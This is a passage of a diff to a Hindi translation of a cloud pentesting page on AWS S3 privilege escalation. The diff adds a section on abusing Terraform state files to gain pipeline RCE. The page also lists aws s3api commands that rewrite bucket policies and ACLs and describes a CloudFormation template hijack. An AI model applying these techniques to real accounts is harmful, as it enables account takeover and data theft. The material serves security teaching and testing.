हाईजैक करने में सक्षम होगा। एक्सेस निम्नलिखित नीति के साथ दिया जा सकता है: ```json @@ -34,7 +34,7 @@ ] } ``` -और हाइजैक संभव है क्योंकि **टेम्पलेट अपलोड होने के क्षण से** लेकर **टेम्पलेट डिप्लॉय होने के क्षण तक एक छोटा समय विंडो** होता है। एक हमलावर बस अपने खाते में एक **lambda function** बना सकता है जो **तब ट्रिगर होगा जब एक बकेट नोटिफिकेशन भेजा जाएगा**, और **हाइजैक** कर लेगा उस **बकेट** का **सामग्री**। +और हाइजैक संभव है क्योंकि **टेम्पलेट अपलोड होने के क्षण से** लेकर **टेम्पलेट डिप्लॉय होने के क्षण तक एक छोटा समय विंडो** होता है। एक हमलावर बस अपने खाते में एक **lambda function** बना सकता है जो **तब ट्रिगर होगा जब एक बकेट नोटिफिकेशन भेजा जाएगा**, और **हाइजैक** कर सकता है उस **बकेट** की **सामग्री**। ![](<../../../images/image (174).png>) @@ -43,16 +43,29 @@ Pacu मॉड्यूल [`cfn__resouce_injection`](https://github.com/RhinoSe ### `s3:PutObject`, `s3:GetObject` -ये **S3 में ऑब्जेक्ट्स को प्राप्त करने और अपलोड करने** के लिए अनुमतियाँ हैं। AWS के अंदर (और बाहर) कई सेवाएँ S3 स्टोरेज का उपयोग **कॉन्फ़िग फ़ाइलों** को स्टोर करने के लिए करती हैं।\ +ये **S3 में ऑब्जेक्ट प्राप्त करने और अपलोड करने** के लिए अनुमतियाँ हैं। AWS के अंदर (और बाहर) कई सेवाएँ S3 स्टोरेज का उपयोग **कॉन्फ़िग फ़ाइलों** को स्टोर करने के लिए करती हैं।\ एक हमलावर जिसके पास **पढ़ने की पहुँच** है, वह उन पर **संवेदनशील जानकारी** पा सकता है।\ -एक हमलावर जिसके पास **लिखने की पहुँच** है, वह **डेटा को संशोधित कर सकता है ताकि किसी सेवा का दुरुपयोग किया जा सके और विशेषाधिकारों को बढ़ाने की कोशिश की जा सके**।\ +एक हमलावर जिसके पास **लिखने की पहुँच** है, वह **डेटा को संशोधित कर सकता है ताकि किसी सेवा का दुरुपयोग किया जा सके और विशेषाधिकार बढ़ाने की कोशिश की जा सके**।\ ये कुछ उदाहरण हैं: -- यदि एक EC2 इंस्टेंस **S3 बकेट में उपयोगकर्ता डेटा** स्टोर कर रहा है, तो एक हमलावर इसे **EC2 इंस्टेंस के अंदर मनमाना कोड निष्पादित करने के लिए संशोधित कर सकता है**। +- यदि एक EC2 इंस्टेंस **उपयोगकर्ता डेटा को S3 बकेट में स्टोर कर रहा है**, तो एक हमलावर इसे **EC2 इंस्टेंस के अंदर मनमाना कोड निष्पादित करने के लिए संशोधित कर सकता है**। + +### `s3:PutObject`, `s3:GetObject` (वैकल्पिक) टेराफॉर्म स्टेट फ़ाइल पर + +यह बहुत सामान्य है कि [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) स्टेट फ़ाइलें क्लाउड प्रदाताओं के ब्लॉब स्टोरेज में सहेजी जा रही हैं, जैसे कि AWS S3। स्टेट फ़ाइल के लिए फ़ाइल उपसर्ग `.tfstate` है, और बकेट नाम अक्सर यह भी बताते हैं कि वे टेराफॉर्म स्टेट फ़ाइलें हैं। आमतौर पर, हर AWS खाता एक ऐसा बकेट रखता है जो खाता की स्थिति को दिखाने वाली स्टेट फ़ाइलों को स्टोर करता है।\ +साथ ही आमतौर पर, वास्तविक दुनिया के खातों में लगभग हमेशा सभी डेवलपर्स के पास `s3:*` होता है और कभी-कभी यहां तक कि व्यवसाय उपयोगकर्ताओं के पास भी `s3:Put*` होता है। + +तो, यदि आपके पास इन फ़ाइलों पर सूचीबद्ध अनुमतियाँ हैं, तो एक हमले का वेक्टर है जो आपको `terraform` के विशेषाधिकारों के साथ पाइपलाइन में RCE प्राप्त करने की अनुमति देता है - अधिकांश समय `AdministratorAccess`, जिससे आप क्लाउड खाते के प्रशासक बन जाते हैं। इसके अलावा, आप उस वेक्टर का उपयोग करके `terraform` को वैध संसाधनों को हटाने के लिए सेवा से इनकार के हमले को करने के लिए कर सकते हैं। + +प्रत्यक्ष उपयोग योग्य शोषण कोड के लिए *Terraform Security* पृष्ठ के *Abusing Terraform State Files* अनुभाग में विवरण का पालन करें: + +{{#ref}} +terraform-security.md#abusing-terraform-state-files +{{#endref}} ### `s3:PutBucketPolicy` -एक हमलावर, जिसे **उसी खाते से होना चाहिए**, यदि नहीं तो त्रुटि `The specified method is not allowed will trigger` होगी, इस अनुमति के साथ बकेट(s) पर अधिक अनुमतियाँ देने में सक्षम होगा जिससे वह पढ़, लिख, संशोधित, हटाने और बकेट को उजागर कर सकेगा। +एक हमलावर, जिसे **उसी खाते से होना चाहिए**, यदि नहीं तो त्रुटि `The specified method is not allowed will trigger` होगी, इस अनुमति के साथ बकेट(s) पर अधिक अनुमतियाँ देने में सक्षम होगा जिससे वह पढ़, लिख, संशोधित, हटाने और बकेट को उजागर करने की अनुमति प्राप्त कर सकेगा। ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -111,7 +124,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -138,7 +151,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -एक हमलावर इन अनुमतियों का दुरुपयोग करके बकेट के भीतर विशिष्ट वस्तुओं पर अधिक पहुंच प्राप्त कर सकता है। +एक हमलावर इन अनुमतियों का दुरुपयोग करके बकेट के अंदर विशिष्ट वस्तुओं पर अधिक पहुंच प्राप्त कर सकता है। ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag